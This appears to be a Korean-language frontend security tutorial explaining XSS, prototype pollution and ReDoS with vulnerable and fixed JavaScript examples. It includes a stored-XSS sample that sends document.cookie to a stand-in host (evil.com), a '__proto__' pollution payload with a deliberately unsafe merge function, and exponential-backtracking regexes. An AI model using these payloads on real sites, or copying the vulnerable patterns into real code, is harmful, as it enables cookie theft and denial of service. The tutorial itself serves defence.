보안 — XSS, Prototype Pollution, ReDoS 방어 패턴
웹 보안은 프론트엔드 개발자도 반드시 알아야 하는 영역입니다. 면접에서 "XSS가 뭔가요?"라고 물어보면, 공격 유형뿐 아니라 방어 방법까지 설명할 수 있어야 합니다.
XSS (Cross-Site Scripting)
공격자가 악성 스크립트를 웹 페이지에 삽입하여 다른 사용자의 브라우저에서 실행시키는 공격입니다.
Stored XSS (저장형)
// 댓글에 악성 스크립트 저장
const comment = '<script>fetch("https://evil.com/steal?cookie=" + document.cookie)</script>';
// 나쁜 예: innerHTML로 직접 삽입
commentDiv.innerHTML = comment; // 스크립트 실행됨!
// 좋은 예: textContent 사용
commentDiv.textContent = comment; // 텍스트로만 표시됨
Reflected XSS (반사형)
// URL 파라미터를 그대로 페이지에 표시
// https://example.com/search?q=<script>alert('xss')</script>
// 나쁜 예
const query = new URLSearchParams(location.search).get("q");
document.getElementById("result").innerHTML = `검색어: ${query}`;
// 좋은 예
document.getElementById("result").textContent = `검색어: ${query}`;
DOM-based XSS
// 나쁜 예: 사용자 입력을 HTML로 삽입하는 모든 경우
element.innerHTML = userInput;
document.write(userInput);
element.outerHTML = userInput;
element.insertAdjacentHTML("beforeend", userInput);
// eval 계열
eval(userInput);
new Function(userInput)();
setTimeout(userInput, 0); // 문자열 전달 시
XSS 방어
// 1. HTML 이스케이프
function escapeHtml(str) {
const div = document.createElement("div");
div.textContent = str;
return div.innerHTML;
}
// 2. textContent 사용 (innerHTML 대신)
element.textContent = userInput;
// 3. CSP (Content Security Policy) 헤더
// Content-Security-Policy: default-src 'self'; script-src 'self'
// 4. Trusted Types API
// 브라우저가 innerHTML 등에 문자열 직접 할당을 차단
if (window.trustedTypes) {
const policy = trustedTypes.createPolicy("default", {
createHTML: (input) => DOMPurify.sanitize(input),
});
}
// 5. DOMPurify 라이브러리
import DOMPurify from "dompurify";
const clean = DOMPurify.sanitize(dirtyHtml);
element.innerHTML = clean; // 안전한 HTML만 남음
Prototype Pollution
객체의 프로토타입에 악의적인 프로퍼티를 주입하는 공격입니다.
// 공격 시나리오
const payload = JSON.parse('{"__proto__": {"isAdmin": true}}');
// 나쁜 예: 깊은 병합 함수
function merge(target, source) {
for (const key in source) {
if (typeof source[key] === "object") {
target[key] = target[key] || {};
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}
const config = {};
merge(config, payload);
// 이제 모든 객체가 영향 받음!
const user = {};
console.log(user.isAdmin); // true — 프로토타입 오염!
방어
// 1. __proto__, constructor, prototype 키 필터링
function safeMerge(target, source) {
for (const key of Object.keys(source)) {
if (key === "__proto__" || key === "constructor" || key === "prototype") {
continue; // 위험한 키 건너뛰기
}
if (typeof source[key] === "object" && source[key] !== null) {
target[key] = target[key] || {};
safeMerge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}
// 2. Object.create(null) 사용 (프로토타입 없는 객체)
const safeObj = Object.create(null);
safeObj.__proto__ = "attack";
console.log(({}).isAdmin); // undefined — 프로토타입 영향 없음
// 3. Map 사용
const config = new Map();
config.set("key", "value");
// Map은 프로토타입 오염의 영향을 받지 않음
// 4. Object.freeze(Object.prototype) — 극단적 방어
Object.freeze(Object.prototype);
ReDoS (Regular Expression Denial of Service)
악의적 입력으로 정규식 엔진을 과도하게 느리게 만드는 공격입니다.
// 취약한 정규식 — 중첩 반복
const vulnerableRegex = /^(a+)+$/;
// 정상 입력: 빠름
vulnerableRegex.test("aaaa"); // true, 즉시
// 악성 입력: 지수 시간 — 브라우저 멈춤!
vulnerableRegex.test("aaaaaaaaaaaaaaaaaaaaaaaaa!"); // 매우 느림
// 취약한 패턴 예시
/^(a|a)+$/ // 중첩 반복
/(a+)*$/ // 중첩 수량자
/^(a|b|ab)*$/ // 겹치는 대안
방어
// 1. 입력 길이 제한
function safeMatch(input, regex, maxLength = 1000) {
if (input.length > maxLength) {
throw new Error("입력이 너무 깁니다.");
}
return regex.test(input);
}
// 2. 타임아웃 설정 (Web Worker 활용)
function regexWithTimeout(input, regex, timeout = 1000) {
return new Promise((resolve, reject) => {
const worker = new Worker(
URL.createObjectURL(new Blob([`
self.onmessage = (e) => {
const result = ${regex}.test(e.data);
self.postMessage(result);
};
`]))
);
const timer = setTimeout(() => {
worker.terminate();
reject(new Error("정규식 타임아웃"));
}, timeout);
worker.onmessage = (e) => {
clearTimeout(timer);
resolve(e.data);
};
worker.postMessage(input);
});
}
// 3. 안전한 정규식으로 재작성
// 나쁜 예: /^(a+)+$/
// 좋은 예: /^a+$/
// 4. safe-regex 라이브러리로 취약성 검사
기타 보안 팁
// 1. eval, new Function 사용 금지
// eval(userInput); // 절대 금지!
// 2. JSON.parse는 안전함 (코드 실행 안 됨)
const data = JSON.parse(userInput); // OK
// 3. postMessage origin 검증
window.addEventListener("message", (event) => {
if (event.origin !== "https://trusted.com") return;
// 안전한 처리
});
// 4. 쿠키 보안 설정
// Set-Cookie: token=abc; HttpOnly; Secure; SameSite=Strict
// 5. 서브리소스 무결성 (SRI)
// <script src="lib.js" integrity="sha384-..." crossorigin="anonymous">
보안 체크리스트
| 취약점 | 방어 |
|---|---|
| XSS | textContent, CSP, DOMPurify |
| Prototype Pollution | 키 필터링, Object.create(null) |
| ReDoS | 입력 길이 제한, 안전한 정규식 |
| CSRF | SameSite 쿠키, CSRF 토큰 |
| 오픈 리다이렉트 | URL 화이트리스트 |
**기억하기 **: XSS 방어의 핵심은 "사용자 입력을 HTML로 삽입하지 않는 것"입니다.
innerHTML대신textContent를 사용하고, 불가피하면 DOMPurify로 살균합니다. Prototype Pollution은__proto__키를 필터링하고, ReDoS는 입력 길이를 제한하면 대부분 방어됩니다.
댓글 로딩 중...